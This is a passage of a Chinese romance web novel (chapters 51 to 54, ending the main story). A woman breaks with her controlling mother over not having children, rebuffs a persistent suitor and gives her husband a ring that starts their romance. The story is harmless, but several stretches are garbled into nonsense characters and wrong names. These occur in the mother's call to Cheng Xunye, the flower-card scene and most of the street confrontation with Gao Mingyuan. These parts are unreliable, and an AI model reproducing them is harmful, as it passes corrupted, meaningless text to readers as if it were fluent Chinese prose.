徐念溪捏紧手腕,深呼吸一口气:“这么多年,我但凡哪里达不到你的心意,你说恨不得没生我。我不愿意结婚,你说你不认我。我现在不生孩子,你又说当我没有你这个妈。”她闭了闭眼,可能是已经习惯了,她连难过都提不起来,好像更多的是一种漂浮着的平静和空茫。 她睁开眼,看着王君兰,语调平淡:“妈,你是不是早就发现,我一直都缺你的爱,所以才可以这么肆无忌惮地威胁我。” 有句话叫,被偏爱的总是有恃无恐。在她和王君兰的关系中,好像永远都是,她在摇首乞怜王君兰的一点爱。所以王君兰,才能如此肆意妄为,从不尊重她的感受,从不愿意理解她的想法。 王君兰没想到她会说出这么一句话,一时之间有些惊疑不定。嘴巴动了动,却好一会儿,没有说出来话。 徐念溪应该是想知道答案的,但看着她的表情,突然之间,她却有些没有兴趣知道了,只觉得兴致索然。起了身,徐念溪为今天这场闹剧收尾:“不用您回答了。” 她拿了包,往外走。走前,她停步:“如果以后有什么事,可以给我打电话。如果你不想和我说的,我….…不会再过问了。” 出了老房子,徐念溪站在老房子下的梧桐树下。莫名之间,她的世界上好像崩塌了一角。 是用二十六年人生缠绕起来的母爱。细密黏腻潮湿、有过关爱、有过照顾,但同时穿插着责骂和打压。 某些瞬间,让她为之感动,恨不得拿所有的,来回馈。 更多瞬间,她只想逃离,离她,离这个窒息压抑的家远远的。她宁愿一个人自我放逐。宁愿一个人活在乡野之间,破落屋子里,无人知晓,无人在意。宁愿世界上某个角落多一个流浪的身影,她和雨水泥泞 起放肆大笑。也好过在愧疚和难受中沉沦,连自救都被道德阻拦,未出口,都感觉自己有千百般错。 徐念溪没在老小区停留。她边往外走,边掏出手机给程洵也打电话。几声嘟嘟嘟。 程洵也接通电话。没等程洵也开口,徐念溪先说了话:“程洵也。”她嗓音很轻,好像一瞬间散在空气里。 程洵也顿了下:“怎么了?”徐念溪闭了闭眼:“我做了一件世俗意义上,不好的事。” “你犯法了吗?”“没。” 程洵也松了一口气似的,又问:“又没有犯法,你为什么说你做了一件不好的事?” 徐念溪如实相告:“我让别人失望了。”她又一次看到了王君兰失望的表情。程洵也停了下,“徐念溪。” “嗯?” “你让别人失望了,你让自己失望了吗?”徐念溪想了想,“应该是没有的。”与其说是临时起意,不如说是这么多年,她一直都有这个想法。这些好与坏、恨与爱、光阴流转之间的种种,总有一天,由她亲手断掉。 所以,现在做出来了,万般感受皆有,释然难受脱力等等,唯独没有失望与后悔。 程洵也笑了,嗓音中带着几分无可奈何的意味:“你是不是傻,你自己不失望就行了,管别人干嘛。” “.…可以不管别人吗?”“可以。”他斩钉截铁的。“可是…….” 她话还没说完,程洵也语气忽然重了几分:“没有可是。在你没有考虑你自己之前,不需要考虑任何人。你要知道,你的感受很重要,比世界上任何东西都重要。”"…是这样吗?" “是的。” “那……这样不自私吗?” 程洵也嗓音里捎了点笑意,拖腔拿调的:“自私什么啊,别人说你自私,是因为没从你这里占到便宜。傻子才把便宜给人占。你是傻子吗?” 徐念溪诚实道:“我不是。” "那不就结了。所以别人说你,不正好说明你没有把便宜给人占,好事啊。" 说不出的释然,好像从一个看不见的枷锁中挣脱出来一样,徐念溪:“是的。我没有,甚至我在很努力地争取自己的权利。”从今以后,她再也不用背负王君兰数不尽的期待与责任了。她将拥有她自己的人生,她一个人的人生。 程洵也“嗯”了声,很认可她一样。 徐念溪嗓音轻轻的。转移话题:“你什么时候回来啊。” “在回来的路上了。” “这样。”话落,徐念溪想起什么似的,“你该不会还在开车吧,那我不打扰你了。” 没等程洵也回话,徐念溪丢出最后一句话。 "早点回来,我有点想你。" 52、052... 王君兰催生这事还有后续,她又给徐念溪打过好几次电话。说她不是个女人,指责她要是世界上的女人个个是她这样,这世界迟早会灭绝,又威胁她说,她不生孩子,小程肯定不要她。 电话里,徐念溪一律听她说,从不反驳。但王君兰一旦问起她改没改主意,她便态度坚决地说,不改。 王君兰气得就差以死相逼了,见徐念溪怎么都讲不通,她又去找了程洵也。程洵也那时候刚从公司回来,接到王君兰的电话。“小程啊,下班没?”“刚下,阿姨。有什么事吗?” 王君兰毕竞和程响也不是很热恶对他的态度很是客个:“有事有事,我念溪说,她不想要孩子,这件事你别听地湖说八道,哪有女人不生孩子的,你好备孕,她那里我来做工作,我自己的孩子我不知道,还能i让她国了天不成程洵也接话,“阿姨您误会了,不生孩子这个事,是我和念溪商量好的,不是她一个人的决定。” 他这话一出,王君兰没说话了,只有粗重的呼吸从手机另一端传出来。好一会儿,才有王君兰的冷声:“是不是念溪不肯生,你迁就她,才故意这么说的?” 她好像认定了一切都是徐念溪的问题,程洵也打开车门,启动车:“和她没关系。我社恐,生个陌生人出来,我不行。”他这近乎是敷行的一句话,王君兰听出他态度的不配合,她没想到就连程洵也也是这样,深呼吸一口气,想维持基本的体面,但终究没有维持住,“啪”的一声直接挂了电话。 程洵也回来时,徐念溪正在厨房,她照顾过王君兰一顿时间,厨艺进步了很多,也能自己做出一顿饭。当然和程洵也做的无法比。 见程洵也回来了,徐念溪退到后面,把岛台让给他。又看他洗干净手,又开始系围裙,徐念溪和他打商量:“我帮你系吧。”“也行。” 得到他的许可,徐念溪上前一步,柑橘香从程洵也身上传来,清新又带着人体的一点暖洋洋的温热,像什么煮沸的果味饮品。她之前会觉得这种味道陌生,让她觉得紧张,但是不知道什么时候开始,紧张没有了,变成一股无法抑制的想亲近。 徐念溪深呼吸一口气,满足地嗅到了柑橘味,浑身的毛孔都好像打开了。程洵也等了会儿,都没有听到任何动静,侧过脸看过来,催促:“还没好吗?” 徐念溪深呼吸一口气的动作定住,感觉自己像是被人当场抓到干坏事。程洵也眉间皱起个小疙瘩,环视她一圈,感觉她这么个肩膀往上提的样子很奇怪,但是又找不到证据,困惑道:“你干嘛呢?” 徐念溪把不知道什么什么时候攥紧的手腕放松,庆幸她的动作不明显,镇定表情道:“没干嘛。”程洵也找不到她的异样,最后只好道:“那你快系。” 徐念溪应了声,拉过围裙带子,交叉系成一个漂亮的蝴蝶结。徐念溪放在客厅的手机响了,她和程洵也交代了一声,出厨房的时候,感觉自己脸上有些热。使劲地扇了扇,才好一些。 是王君兰打过来的,一接电话就是怒气冲冲的。“你老实说,不生孩子这个事是不是小程要求的。你之前没这么叛逆,就是和他结婚之后才这样,都是他把你带坏了,他还说什么,生个陌生人出来他不行,什么话啊。之前没看出来,他怎么是这种人…….”王君兰永远都是这样。在所有事情里,她都是没有任何问题的,有问题的永远是别人。 如果王君兰说她,徐念溪不会反驳,因为反驳无用,王君兰有她认定的事。但是她说的是程洵也。 徐念溪嗓音清晰:“不是他要求的,我也从不是不叛逆,只是你从来没试着了解过我。”她说到这儿就没说了,因为没必要把这一切上升成对王君兰的指责。没必要,王君兰也从不会认识到自己有错 王君兰这些天本就被她弄得心烦,徐念溪还这样说话,她火一下子就上来了。隔着手机,都能听到她狠狠地拍了下桌子。“徐念溪,你是不是想气死我?你是不是想看我进医院你才甘心啊?” 和王君兰的愤怒相比,徐念溪是平静的,她只道:“我没有伤害你,我只是在主张我的权力,如果你不能接受,那是你的事情,我不需要为你的事情负责。” 这句话说完,徐念溪看了一眼厨房。程洵也挽起了袖子,动作娴熟地往锅里放菜。看着很是贤妻良母,明明看长相他不是这样的人。 徐念溪情不自禁地笑了下,从来没有得到过的家的温暖从胸腔里升起,好像冬天里喝到了一杯暖呼呼的热可可,她收回视线。“如果没有别的事,我就挂电话了。” 王君兰没有再说话,像是已经放弃了,又像是还有别的准备。但徐念溪已经不在乎了她好像从心理上,已经划分出来了一条线,王君兰被她排除在线外。所以她做什么,都不再能伤害她。 徐念溪挂了电话,把手机放好,脚步轻盈地走进厨房。程洵也炒好了菜,正装碟。 等他装好,就看见徐念溪站在他身后,安安静静地仰起脑袋看着他。眼眸中带着一点无法抑制的笑意。 程洵也顿了下:“你怎么了?”徐念溪嗓音有点轻:“我妈是不是给你打电话了?”"嗯。说生孩子这事。 "她刚风刚和我说了。"程洵也没当回事儿,“说了,然后呢?”“她说我不好,很任性,很自私。” 她这话一说完,程洵也表情就不对了,撑起胳膊,居高临下地看她:“你反驳没?”徐念溪点头:“反驳了。” 程洵也眼尾一松,很满意似的:“那就行。”徐念溪吸了吸鼻子:“可是我有点不开心。” 有什么好不开心的,程洵也想说,但对上徐念溪的眼眸,气焰又降了下来,觉得每个人就是不同,她不开心也情有可原。他便问:“那你怎么样才能开心?”徐念溪伸出手臂, "可以抱抱我吗? 她一脸可怜兮兮的样,再加上她前几天的那些话,程洵也皱紧眉头,良久,才硬着头皮,侧过脸,“你抱吧。” 他话落,徐念溪幼鸽还巢似的,紧紧地抱住了他,女性的身体和男性的触感完全不一样,很柔软。程洵也耳朵一下子就红了,他以为她的抱是那种轻轻的,结果徐念溪是熊抱,身体贴得很紧,恨不得嵌进他怀里一样。他下意识往后退了一步,紧张道:“喂你……” 徐念溪感觉到了他的逃避,抬起埋在他胸口的脑袋:“怎么了吗?”对上她的脸,程洵也又说不出来别的。移开视线,退了一步,勉强道:“算了,没什么。” 于是徐念溪很放心地重新埋进他的怀里。他比她高很多,她能透过他的胸腔,听到里面一声一声的心跳声,沉闷清晰,似黝暗时空里的一点热微火。鼻尖是很清晰的相橘味,她整个人都好像被他包裹住。徐念溪情不自禁地闭上眼,只觉死在此刻也没有关系。 只是这种时刻毕竟短暂,程洵也很快就动了动身子,推开她。神色外厉内荏,凶巴巴的:“很久了。” 徐念溪收回手臂,“哦”了一声,她也不说别的,只垂着眼睫,安静成不知道哪个角落种的悲伤植物。程洵也觉得他做得没错,不愿意再搭理她了,只是他端着碟子往外走。徐念溪还站在那儿,他“啧”了声:“徐念溪。” “怎么了?” “过来吃饭。”他顿了下,嘀嘀咕咕的,“吃完饭,我再考虑下给不给你抱。” 徐念溪耳朵还是很好的,很快就凑过来,眼睛亮晶晶地看着他。 “真的吗?” 程洵也敷衍:“先吃饭。”“哦。”等饭一吃完,徐念溪就跑到程洵也身边,张开手臂。那时是晚上六点,天际上火烧云最多的时间点。徐念溪抬起脸看他,她没说期待,但期待这种东西人就算不说,也能轻而易举地从,表情、动作、周围的空气里溢出来。 程洵也就没见过她这么积极主动要抱抱的人。他提醒徐念溪:“我说的是考虑一下,没说一定给你抱。” 徐念溪手臂没收回:“那你考虑好没?”“…….” 程洵也皱紧眉,觉得她得寸进尺.一字一顿:“没有,这种东西需要时间,很长很长的时间“哦。” 闻言,徐念溪才终于收回了手臂,只是从这以后,她时不时就凑到他身边,仰起脑袋看他。 “你考虑好了吗?” “.….” 有时候,程洵也都觉得徐念溪是猫,他是专门吸引猫的猫薄荷,要不然徐念溪怎么就跟要他抱,过不去。 他不理徐念溪,徐念溪就没办法了,她也没有那么多事可以用来在程洵也面前装可怜,让他心软 西津更冷的时候,徐念溪去了宁澜出差,姜颂和她一起去的。 姜颂第一次出外差,兴奋得整宿没睡,完成第二天的工作就拉着徐念溪出去逛街 宁澜是个旅游城市,民族文化繁杂,随处可见鸡血藤和各种充斥着异族风情的银饰。姜颂兴致勃勃的:“溪溪姐,这个鸡血藤好看吗?”徐念溪看了一眼。青色鸡血藤,收口处包了藏银,款式古朴雅致:“好看。“ 姜颂喜滋滋地和老板还价,徐念溪在店里走了一圈,在最角落的展柜看到了一对儿素圈戒指。没什么装饰,表面是磨砂的,像是被时间的洪河里淘沙而来的。 徐念溪不由自主地低头,仔细地看了一圈。老板发现了她的视线,上前来报了个数。数额很大。 远超姜颂的预料。一直到出了这家店,姜颂都在嘀嘀咕咕的。“怎么感觉他家的东西买得比别人家贵。” 徐念溪把戒指收好,笑道:“买都买了,我们好好开心吧,别管价格了。”姜颂一想也是这样,又开心了,问徐念溪:“溪溪姐,你买戒指干嘛?还是对戒?”“送人。” “送人?送给谁啊?你有喜欢的人了?!”“嗯。” 就在姜颂不停审问徐念溪的时候,一个男生走到她们跟前。年纪很轻,像是男大学生。模样张扬桀骜,染着一头红发,勾着唇对徐念溪说:“姐姐,可以加个微信吗?我挺喜欢你的。”徐念溪看到他的脸,愣了瞬:“我吗?” “对。”男大很笃定。 徐念溪摇头:“不好意思,我有喜欢的人了。” 男大不死心,“只是喜欢,不是还没有在一起吗,考虑一下我吧。”徐念溪依旧摇头。 男大走后,姜颂还挺兴奋:“溪溪姐,男大耶,还是那么帅的男大。你怎么一点都不激动?”“激动什么,”徐念溪回,“我现在看这种男生,只感觉像弟弟,很幼稚的弟弟,和我不是一个年代的感觉。”“弟弟怎么了,年下不也挺好的吗?”姜颂不服,“小奶狗或者小狼狗,多香啊。” “…” 她们回到西津的时候已经不晚了。徐念溪打开房门,程洵也还不在。她去了卧室,把戒指拿出来,大概估量了一下戒指的指围。心理大概有数的时候,房门被打开了。 徐念溪出卧室一看,果然是程洵也。 他见到她,一愣:“你怎么这么快就回来了?不是要五天吗?”“最后一天是开会,不需要我们到场,所以我们提前回来了,”徐念溪走过来,借题发挥,“你不想我这么早回来吗?” 程洵也摇头:“我没这个想法。”但徐念溪已经摆出了一张委屈的脸。她估计也是刚回来,身上外套还没脱,风尘仆仆的痕迹有点重。再加上她这么一副黯然神伤的样子,程洵也皱了下鼻子,觉得她这人怎么这么弱。没用死了。 但一看徐念溪还垂着眼,神情说不出的难过他又觉得是他失言了,她好不容易才赶回来,他还说这种话 徐念溪就感觉有人很生涩地抱住她,力度不大,轻轻柔柔的。还安慰似的拍了拍她的背。柑橘味从她鼻尖一闪而过,在即将消失的前一秒,她伸出手臂,紧紧地回抱住程洵也。 程洵也僵在原地,想退又不敢退。在他看不见的地方,徐念溪嘴角勾起了少许。感觉自己好像抓住了一颗自投罗网的,温热大橘子。 她没有抱很久,因为还有更重要的事情做,在程洵也不满之前,果断地放开手。然后趁着他愣神,拉过他的手,找到中指,拿手指环了一圈,得出一个大致的数值,立马放开。 全程不超过五秒,程洵也就那么又被她抱,又被她摸了手,占了不知道多少便宜。等他气势汹汹地抬头,找徐念溪算账的时候,就对上徐念溪眼眸弯弯地对他笑的脸她笑完,嗓音很轻地叹道:“好几天没见,我好想你。” 53、053 .. 她这话说完,程洵也不理她了。 徐念溪好几天没见到他了,他不理她,也不妨碍她围着他转,还越转越开心那种。 时不时还凑过来,看看程洵也在干嘛。程洵也乍看之下脾气挺大的样子,但相处久了,才知道,他这人只在原则性问题上会生气,其他时候都是很好相处的。 徐念溪已经摸清了他的性格,见他眯着眼睛,看过来,觉得她一直跟着他烦人,她也不怕,只乖乖地安静了片刻,过了会儿又凑到程洵也跟前去。 程洵也就感觉,他身边总是跟着个爱围着他转的什么东西一样。说讨厌谈不上,但说喜欢好像也喜欢不上来。只是他一摆出严肃脸,没等他说话,徐念溪就一脸委屈。“……”他只好忍气吞声。 鲁惟与有次见到他们之间的相处,笑得直拍手:“溪溪,我和你认识了十一年,我都没见过你对谁这么热情过。”徐念溪被她说得有些难为情,但很快又笑起来了:“没办法,我真的挺喜欢围着他的。”尤其是他那种,明明有点不爽,但又为了她,强行压下去,让她有一种百试不爽的快乐。 鲁惟与还笑;“那你们现在是怎么回事?”“我在追他,但是他有点不太好追,所以我在很努力。”阳光洒下来,今年的西津出乎意料的是个暖冬,严寒一下子就过去了,只留下一片轻轻柔柔的阳光,笼罩在徐念溪身上。 和去年这个时候相比,现在的徐念溪眉宇之间盛放着笑意,她依旧不是个张扬的性子,但褪去去年的灰暗晦涩,留下一片如水的柔和宁静。鲁惟与情不自禁道:“真好。希望你早点得偿所愿。”徐念溪点头:“我也希望。” 姜颂买了鸡血藤之后,正好还是新鲜期,时不时就挽着袖子给徐念溪看。"溪溪姐,看我的鸡血藤,好看吗?"徐念溪每次都点头:“好看。” 姜颂心满意足了,放下袖子,她们正在去步卓的路上。自从上次合作之后,步卓时不时也会把一些单子给振荣。 她们到了会议室,和上次的紧张陌生相比,现在的姜颂已经能够独当一面,娴熟地放下公文包,再次确认一遍会议流程,徐念溪则和梁副总对接。正说话的时候,会议室的门又被推开。进来个发色张扬,穿着皮夹克,抱着头盔的男生。他的出现不合常理,不像是参加沉闷庄重的会议,反倒是像准备去赛车场。 梁副总见到来人,立马停了话语,走上前去,苦口婆心道:“高明远,你怎么又这么打扮参加会议,你爸看到了,又得气出个好歹。”和梁副的谆谆教诲比起来,名叫高明远的男生只散漫地勾了下唇,视线在会议室里绕了一圈,注意到站在一旁的徐念溪,眼睛一亮,上前一步:“姐姐,又见面了。” “你是……”徐念溪仔细看了男生的脸,反应过来了,“宁澜那个男生?”“对。”高明远神情有些委屈,“姐姐怎么花了这么长时间才想起我,我应该给人印象挺深刻才对。”徐念溪笑了笑:“不好意思。” 会议即将开始,高明远被梁副总打发到会议室后排坐下。徐念溪和姜颂很快投身到工作里。 等到会议结束,她们刚收好桌上的资料,高明远就走过来,挡在徐念溪跟前。男生年轻,身上的热气一瞬间扑在徐念溪身上。她有些不适地退后了一步,抬头看他。“有什么事吗?” 高明远笑:“姐姐,等会中午有时间一起吃个饭吗?”徐念溪拒绝:“不好意思。我中午有安排了。” 高明远听她这么说,只好可惜地“这样”了一声。只是那之后,他时不时就去振荣楼下等徐念溪,每次看见徐念溪,都“姐姐”的叫。 不烦人,但是很缠人。徐念溪不是个很喜欢别人纠缠的性格,寻了个时间特意和高明远说清楚。只是不知道,他是看出了她的意思,还是怎么的,话都没有和她说两句,开了车就走。 后面几天,也没有再过来。徐念溪也能松一口气,又摸了摸自己的口袋。 几天后,程洵也出差回来,徐念溪一见到他就起了身,接过他的外套。"你回来了啊。"“嗯。” 徐念溪等他歇会儿,又凑过来,试探:“你在外面累吗?”“还好。”"你最近有好好吃饭吗?"“有。”“你有没有想过,身上有一点什么配饰?” 她这话说完,程洵也终于看过来了,他盯着她看了五秒,皱了下鼻子,狐疑地说。“你想干嘛?” 徐念溪觉得她试探别人的功夫,确确实实不太及格。但箭在弦上,不得不发,她只好偷换概念,很有气势地振振有词:“是我先问你的,所以你得先回我。” 程洵也不和她一般见识,收回目光,想了想:“得看是什么配饰。”“哦。”徐念溪装模作样的应了一声,又顺势问:“那戴在手上的配饰呢?” “带在手上?”程洵也认真地想了想:“偶尔会带手链手环,其他的一般不会带。”他是个自恋的、臭屁的性格,对穿搭还有自己的见解。总喜欢根据当天的穿着,搭配不一样的饰品。但他又是个嫌麻烦的人,不乐意手上有那么多鸡零狗碎。 他说完这句话,质问徐念溪:“你问这个干嘛?”徐念溪表情镇定,没露一起异样,只道:“多关心一下你。” 她轻了身,去卧室拿手机。到了卧室,她把口袋里的戒指盒拿出来,端详了片刻。总觉得让程洵也心甘情愿地带上戒指,是一件任重而道远的事。 高明远这男生,长着张轻佻的脸,性格却出乎意料的皮。像是班上那种,总爱和女生逗着玩的大男孩。 估计随着时间流逝,徐念溪找他说清楚的心淡了点,他又开始凑过来。从原来的,在振荣楼下等她,到现在的,时不时给她送玫瑰。姜颂第一次看到配送员捧上来的一大束玫瑰,就眼冒金星。“溪溪姐,有人给你送玫瑰耶,好漂亮。” 徐念溪签收完,找到里面的卡片看,“你微微地笑着,不同我说什么话,而我觉得,为了这个,我已等待得很久了。”—高。 徐念深致了下同,把卡片收好:又想把地现丢了,只是见发5依阳限巴的看着,徐念溪笑了下:你高效吗?要是愿意的话,可以把现现养在的的花瓶里。”姜颂犹豫了一下:"真的可以吗?" “可以的。” 这之后,高明远又消停了几天,然后又是一大捧玫瑰送过来。总卡在前一束玫瑰刚刚凋谢的时候。 徐念溪问过配送员,能不能把对方的电话给她,被配送员拒绝了。 徐念溪不是一个喜欢生活中有意外发生的人,哪伯她知道高明远没有恶意,但她对这种暗截我的追求提不起任何兴趣, 送花送了好长一段时间,高明远像是觉得她的态度已经软化,又开始在振荣楼下等她。 徐念溪下班时,就看到楼下停着一辆红色的兰博基尼。 “姐姐。”见到她,高明远出声,下了车。他戴着墨镜,一头红发照样热烈张扬。徐念溪脚步一顿,看在走到他跟前的男生:“高明远?”“是我。姐姐你总算记住我的名字了。”高明远美滋滋的。 徐念溪皱了下眉,这么长时间被他的玫瑰轰炸,她不记得,不太可能。但记得也不意味着什么。 “玫瑰是你送的吧?” “对。” “请你以后不要再送了。” 高明远没料到有这种变化,眼睛瞪大:“为什么?你不喜欢玫瑰吗?你喜欢什么,我再给你送。” 徐念溪耐着性子:“不关玫瑰的事。而是我不喜欢你这种类型的男生,所以你给我送玫瑰,我也不会开心。”高明远觉得这不是个事儿,道:“不试试怎么知道不喜欢。姐姐你不要一杆子打死嘛。” 他语调带了几分撒娇意味,徐念溪皱紧眉:“这不是试不试的问题,我和你说过,我有喜欢的人。”高明远又换了副表情,可怜兮兮地看着她:“只是喜欢,又没有在一起,我追求姐姐怎么了嘛。” 徐念溪算是已经初步知道了高明远这个人到底是个什么性格。她和他说得直白了当,他就插科打诨,把一切带过。等一段时间之后,他觉得没事了,又卷土重来。 好像怎么说都说不通一样。 徐念溪刚想说话,眼前忽的站了个个子很高的男人。她得抬起头才能看清楚他。 只是看到他的后脑勺,徐念溪眼中就情不自禁地带出一点笑意。程询他看着高明远,他们个子差不多高,但程向也气质比高明远成很多,看者高明远的鲜子,像看个不成的孩,噪音低沉:“的听国地柜了? 高明远被他气质压得后退一步,但想一想,他感觉自己完全没错,很快又上前,振振有词:“她可以拒绝,但是我也可以追求。我喜欢姐姐没错。”程洵也重复了一遍“没错”,又呵了声,挑起眉梢:“你知道什么是喜欢吗。喜欢不是你非要,而是你得尊重对方的感受。” 他00明应多RH么,拉着检身在前志,高远还不的医休,眼在他(后面,声高大,抬江一样:“你斑线,那知面什么是号?我看你也只是会则皮子” 程向他步,没等他平口,念国程向地身前,看省商远,舌真他当道,你不理H么是题面发关系,我地不则的理解,但何不能多残他,他我的N. 她明显的维护态度,高明远一愣,总算停了脚步。徐念溪不想和这种人多说一句话,拉着程洵也的手腕就往前走。走到程洵也的车前,徐念溪的气才消了点儿。“走吧,我们回去吧。” 程洵也“嗯”了声,打开车,扣上安全带:“你和他怎么认识的?”“有一次到宁澜开会,刚好遇见了他。”徐念溪余怒未消:“之前一直觉得他人虽然挺幼稚的,但还好。结果没想到他会说你。”" 程洵也没当回事儿,“说就说,没关系。”又问:“他一直都在纠缠你吗?” 徐念溪想了想,“没有一直,也就两三个月吧,我和他明确说了,我有喜欢的人了,但是他还是不听。”程洵也顿了下,看徐念溪:“他不听?” “对。”徐念溪实话实说:“他说,只是喜欢而已,又没有在一起。”这会儿程洵也情绪才有点波动了,皱眉:“他真的这么说?”“对。”徐念溪添油加醋:“还不止一次。” 见程洵也神情有点不好,徐念溪再接再厉:“不过我想想,确实是这样。虽然我有喜欢的人了,但这样也确实,算不了什么。”她叹了一口气,神色中颇有些苦恼意味。 程洵也看她:“怎么算不了什么,你有喜欢的人还不够啊。”徐念溪长吁短叹的:“可是没有名分。而且他又不喜欢我。” 谁说他不喜欢你的,程洵也险些脱口而出,但理智又回笼 狐疑地看了眼徐念溪,觉得她是在给他挖坑 徐念溪见他不上钩,又从口袋里拿出戒指盒,放在左手手掌里,一会儿打开看看,一会儿又重新放回口袋里一个人忙得不亦乐乎。 程洵也余光能看到,盒子里银色小圈,时不时若隐若现两下。他不知道那是什么东西,等车开过去好远,徐念溪已经收了盒子,他才装若不经意地问:“你刚刚在看什么?” 徐念溪疑惑道:“什么?我什么都没看。” 程洵也觉得她在装傻,但毕竟是他在询问问题,啧了一声,“就是你刚刚,不停打开又关上的盒子。” 徐念溪恍然大悟状:“那个啊。”“对。” “对”完,徐念溪又不说话了,程洵也瞥了她一眼,一字一顿:“所以里面是什么?”徐念溪笑了,笑了没几秒,又赶紧收回,怕程洵也恼火。她轻咳一声, "戒指。" “……戒指?”他嗓音里有掩饰不住的诧异。 “对。” “对”完,徐念溪又不说话了,程洵也觉得今天的徐念溪尤其看不懂人脸色,再一看,她嘴边还擒着笑意,像笃定他会接着问一样。他哼了声,才不想让徐念溪如愿。 他们就保持这样的僵持动态,下了车。 徐念溪跟在程洵也身后,一看周围环境,她才想起来:“你怎么会突然去公司接我?” 程洵也回:“妈让你回家属院吃饭,我刚好顺路,就去接你了。”“这样。” 冯沛艺他们已经做好了饭菜,见到他们来,笑眯眯的:“快点吃饭。” 吃完饭,他们回到家, 程洵也观察她一会儿,终究是好奇心占了上风,难得今天主动走到念溪身边。 他直视前方,轻咳一声:“戒指呢?给我看看。” 徐念溪摸了摸口袋,惊讶道:“我好像把它忘在了家属院。” 程洵也脸色就臭起来了,凶巴巴的,“这么重要的东西,你怎么能忘?” "很重要吗?" “那当然。”程洵也:"那可是戒指。" 徐念溪笑了,变戏法一样,从口袋里掏出戒指盒:“骗你的,它一直在我身上。”程洵也松了口气,又意识到徐念溪是在诚心逗他,他瞪了一眼徐念溪。一双诱亮的琥珀色眼眸被鸦羽船的睫毛微微挡住,眼眸里情绪有不满,又有懊恼,嘴唇紧抿。情绪直白得让徐念溪觉得他很可爱。她想要让程洵也带上戒指的心思更重了一点。便道:“你想看看吗?” 听到她这么问,程洵也脸色才好看了一些,纡尊降贵似的,朝她一摊手。那意思,给他看看。 徐念溪把戒指盒打开,放到他手上,然后就看到程洵也嘴唇抿得很紧,但笑意依旧从眼眸里荡出来。 星星点点的,似九,月流火 他就用这种表情,仔仔细细的,认认真真的,看了戒指一圈。 像是已经看完了,程洵也神情也不复刚刚的严肃,无所谓似的,把戒指还给徐念溪。徐念溪一愣,问得疑惑:“你不戴戴看吗?” 程洵也哼了声,颐指气使地:“不戴。我干嘛要戴。”徐念溪收回视线,“哦”了声,她也不说什么,就那么把戒指收回去。程洵也反倒有些不舍,多看了戒指几眼。 就在这时,徐念溪自言自语地来了一句。“你不喜欢的话,我就拿去送给别人了。” 程洵也动作一顿,眉毛一挑,嗓音放得沉:“你要送给谁?” 徐念溪和他对视,“目前还不知道给谁,但总有一天会找到给的对象。” 程洵也眉间皱起了个小疙瘩,声讨她:“你怎么回事啊,都给我看了,你还想给谁?”“可是你不是不要吗,你不要还不准我给别人啊,”徐念溪笑:“你怎么这么霸道。” 程洵也的火被她三言两语给弄得起来了,一把抢过戒指盒,“谁说我不要,而且就算我不要,你也不能给别人。” 徐念溪沉吟着,不说话,像是在思考怎么反驳一样程洵也哼了一声,不给她任何机会,直接拿起戒指,戴了上去。戴完还洋洋得意地,竖起手掌,像是给徐念溪展示一样。 徐念溪没思考了,而是忍不住笑“戴了戒指,可是要当我的男朋友的 程洵也动作一顿,觉得懊恼。他怎么这么简单,就中了她的招明明他说过,要让徐念溪多追求一段时间的。 程洵也啧了一声,想说,他不同意。但转脸又对上徐念溪笑弯了的眼睑。女人眼眸里都是笑意,望着他的目光,柔软得不可思议。好像漂泊的灵魂,从此刻找到了归宿。 他又突然觉得,就这样也不错。 54、054【正文完】... 确认了恋爱关系,最大的变化是,徐念溪不再像之前一样,做什么都会,征求程洵也的意见。 相反,她时不时就很自觉地,跑过来,抱一抱程洵也。 程洵也刚开始的时候,还被吓到过几次,觉得她的动作又出乎意料,又防不胜防。 但每次一低头,都能对上徐念溪理直气壮的眼神。 她好像在说,我们是恋爱关系,所以抱抱合情合理。 他便只好,随着她去了。 只不过,徐念溪不止要抱抱。 她还堂而皇之地,坐在程洵也旁边,找微信情侣头像,时不时还会问程洵也的意见。 “这张怎么样?和你现在的头像有点像。” 是一个举着小剑的火柴人。 她要用的那张则是,一个头戴皇冠,捂着通红的脸的火柴人公主。 两张图连在一起看,就像是披襟斩棘的火柴人骑士,营救公主,然后公主心动了一样。 程洵也看了两眼,很勉为其难似的:“也行。” 徐念溪就满意了,把头像发给他,监督他换上。 程洵也很快就换上了,但他也没什么其他表示,端得厉害。 他这么端,也没炫耀什么。但是严岸泊这几个很了解他的人,还是感觉出几分不对。严岸泊把啤酒放在桌上,逼问程洵也:“你老实交代,最近干嘛了?”他话落,环视了程洵也一圈,总感觉这人神色虽然无动于衷,但莫名有一种,藏都藏不住的嘚瑟之气。 程洵也瞥他一眼,不屑于和他多说。严岸泊顿时就倒吸一口凉气:“你这是什么眼神。” 程洵也不说话,懒得搭理他。严岸泊从他这里探听不到消息,转头又去翻徐念溪的微信,准备从她那里,问出点什么东西。这不看不知道,一看吓一跳。不知道什么时候开始,徐念溪也换了头像。严岸泊定睛一看,惊讶:“你的头像,怎么和念溪的是一套啊。” 程洵也嘴角矜持地勾着,只回他:“你说呢。”严岸泊这下可是,完全意料之外。他虽然知道迟早有那么一天,但他也没想到真有的时候,他还是这么猝不及防。好像一颗苹果,他知道它会落下,但落下时,还是把他砸得脑袋嗡嗡作响。 见严岸泊的表情果然如他所料。程洵也人舒服了,嘴角往上勾,装作不经意间,道:“你是不知道,自从确定关系之后,徐念溪每天很喜欢抱我。”“我这个人你又是知道的,我不喜欢别人抱我。有的时候,我真的受够了。” 他一副很是勉为其难的口气,严岸泊嘴角抽了抽,还是决定为他分忧解难,就道:“你说错对象了吧。你受够了和我说有什么用,你应该和念溪说,让她别这么经常地抱你。”程洵也看了他一眼,觉得他很不上道似的,啧了声:"我当然知道说错对象了。这不是不舍得说她吗?"“………” 这下,严岸泊是彻底不想搭理他了。觉得自己真是没事找事,才跑过来听程洵也说这种。他不搭理还不行了。剩下的时间,公孙修竹和李伟豪,无论说什么,都能被程洵也带到恋爱上去。他们说,西津马上要初春了,适合去踏青。程洵也说,确实,他会记得提醒徐念溪的,到时给他们发他们出去踏青的照片。 他们又说,时间不早了,等会儿回去估计会堵车。程洵也说,那倒是,徐念溪肯定已经在门口等他了,他出来的时候,徐念溪还特意问过他地址,以及什么时候结束。 他们又说,这易拉罐的环儿,不知道被谁给弄断了………话还没说完,程洵也接话道,他们怎么知道,徐念溪送了他一个环儿。哦,用更通俗易懂的词语来说,那不叫环儿,叫戒指。 “……” 这么一连套下来,哪怕是公孙修竹和李伟豪也不说话了,看着程洵也无言以对。然后一致决定,把这个嘚瑟怪轰走得了。 